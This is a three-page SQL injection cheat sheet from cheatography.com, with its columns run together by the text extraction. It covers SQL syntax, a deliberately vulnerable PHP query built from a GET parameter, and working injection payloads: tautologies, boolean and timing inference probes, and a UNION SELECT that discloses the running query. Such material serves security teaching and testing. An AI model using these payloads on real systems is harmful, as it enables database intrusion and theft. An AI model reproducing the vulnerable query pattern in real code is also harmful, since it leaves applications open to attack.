SQL Injection Cheat Sheet
by binca via cheatography.com/44948/cs/13343/
Intro SQL Special Chatacters
Perhaps the most well known web app flaw '," String delimiter
Easier to address from an app security perspective, but remains a ; Terminates a SQL statements
common flaw. -- , # , /* Comment delimiters
Apps employ relational databases for a multitude of reasons %,* Wildcard characters
App interfaces to add, update and render data || , + , " " String concatenation characters
Flaw originates from app allowing user-supplied input to be dynami‐ +,<,>,= Mathematical operators
cally used in a SQL query
= Test for equivalence
Numerous different Relational Database Management Systems in
() Calling functions, sub-queries, and INSERTs
use including Oracle, MySQL, MSSQL
%00 Null byte
Key SQL Verbs
SQL Injection Example Code
SELECT Retrieves data from tables, most commonly used
Server-side PHP code taking the value of URL query parameter
INSERT Add data to table
name as input to SQL SELECT
UPDATE Modify existing data $ sql="SELECT * FROM Users WHERE lname='$_GET["na‐
DELETE Delete data in a table me"]';"
DROP Delete a table The resulting query if normal input is John
URL: http://url/sqli.php?name=John
UNION Combine data from multiple queries
SQL Query: SELECT * FROM Users WHERE lname='John';
Normal result.
SQL Query Modifiers
Injected Input Query
WHERE Filter SQL query to apply only when a condition is met
Input is John'
AND/OR* Combine WHERE to narrow SQL query URL: http://url/sqli.php?name=John'
LIMIT #1, Limits rows returned to #2, many rows starting at #1, SQL Query: SELECT * FROM Users WHERE lname='John'';
#2 same results with LIMIT 2 OFFSET 1 Stray ' causes error.
Inject Input Query 2
ORDER Sort by column number
Input is John'; --
BY [#]
URL: http://url/sqli.php?name=John';--
SQL Query: SELECT * FROM Users WHERE lname='John';--';
Important SQL Data Types
Normal results.
bool Boolean True/False
int Integer ' or 1=1; --
char Fixed length string A payload or variation upon that is found in most SQLi docume‐
varchar Variable length string ntation
binary The single quote* closes out any string.
Note: Names for data types may vary across RDBMSs The 1=1 changes query logic because it is always true.
;-- Ends the payload completing the statement and comments out the
remaining code to prevent syntax errors
Note: Some RDBMS require a space after "--" comment delimiter.
By binca Not published yet. Sponsored by Readable.com
cheatography.com/binca/ Last updated 9th November, 2017. Measure your website readability!
Page 1 of 3. https://readable.com
SQL Injection Cheat Sheet
by binca via cheatography.com/44948/cs/13343/
SQLi Balancing Act Error Messages
Involves finding correct prefixes, payloads and suffixes to evoke Database Not only hint at the presence of SQLi but may guide us
desired behavior. Error in crafting input for exploitation. If you see database
Significant aspect of discovering SQLi flaws is determining reusable Messages error messages it is NOT blind SQLI
pieces of our injection. Custom Can require a different approach because the error will
Most obvious balancing act is quotes. Error not indicate if the input is being interpreted.
Messages
The most common data type our input will land within are strings so
proper prefixes and suffixes to accommodate strings are necessary.
Equivalent String Injections
Example with comments: John';--
Prefix Suffix Note
SELECT...WHERE lname='John';--';
John' ;# Commenting
Example without comments: John' OR '1'='1 John' ;-- Commenting
SELECT...WHERE lname='John' OR '1'='1'; Jo'/* */'hn Inline Commenting
Jo' 'hn Concatenation (with or without spaces)
Balancing Column Numbers and Data Types
Jo'| |'hn Concatenation
INSERT and UNION statement require us to know the number of
Comment delimiters (--, /**/, #) can allow injections to succeed that
columns required or used, otherwise a DB Syntax Error will occur
would otherwise fail.
INSERT and UNION statements also require the data type
The -- and # are useful SQL suffixes.
associated with the columns to be compatible.
Injecting into the middle of a SQL statement/query will not allow us to
ORDER BY [#] is another option where the number is incrementally alter the rest of the SQL statement but it will show us if our input is
increased until an error is thrown. being interpreted on the backend when we experience custome error
Note: Numbers and strings are typically compatible. messages (Blind SQLi).
Discovery of SQLi Binary/Boolean Inference Testing
Input locations that leverage/interact with backend DB such as login John' AND 1;# True
functionality. John' AND 1=1;# True
HTTP Request portions that are common input locations: John' AND 0;# False
GET URL query parameters
John' AND 1=0;# False
POST payload
If it evaluates to True (AND 1=1) or False (AND 1=0)
HTTP COOKIE
Prefix: Dent' AND
HTTP User-agent
Evaluates: substr((select table_name from information_sch‐
HTTP COOKIE and User-agent are more likely to be blind.
ema.tables limit 1,),1,1) > "a"
Suffix: ;#
Classes of SQLi
One vulnerability encountered in a variety of ways
Simplest categorization is blind versus visible, but there is spectrum.
In-Band/Inline SQLi is a flaw that allows us to see the result of our
injection. They are easier to discover and exploit.
Blind SQLi is the same vulnerability but with no visible response.
By binca Not published yet. Sponsored by Readable.com
cheatography.com/binca/ Last updated 9th November, 2017. Measure your website readability!
Page 2 of 3. https://readable.com
SQL Injection Cheat Sheet
by binca via cheatography.com/44948/cs/13343/
Blind Timing Inferences
When there is no discernible output or errors the use of timing-based
inference is a viable option.
Relies on responsiveness of app for the inference by artificially
inducing a delay when a condition evaluates.
Example:
Sleep(10) - MySQL
WAITFOR DELAY '0:0:10' - MSSQL
Out-of-Band SQLi
No errors messages
No visible responses
No boolean/inference opportunities without or without timing
Requires an alternative communication channel to discover or exploit
these flaws
Out-of-Band Channels may provide for faster ex-filtration of some
flaws susceptible to inference techniques. Typically leverages HTTP
or DNS to tunnel communications back to attacker controlled server
Query Disclosure
UNION SELECT is used to disclose the vulnerable query we are
injecting into.
Payload:
John' UNION SELECT '1','2','3', info FROM information_schema.pr‐
ocesslist;#
Results:
SELECT * FROM Customers WHERE lname='John' UNION SELECT
'1','2','3'', info FROM information_schema.processlist;#'
By binca Not published yet. Sponsored by Readable.com
cheatography.com/binca/ Last updated 9th November, 2017. Measure your website readability!
Page 3 of 3. https://readable.com
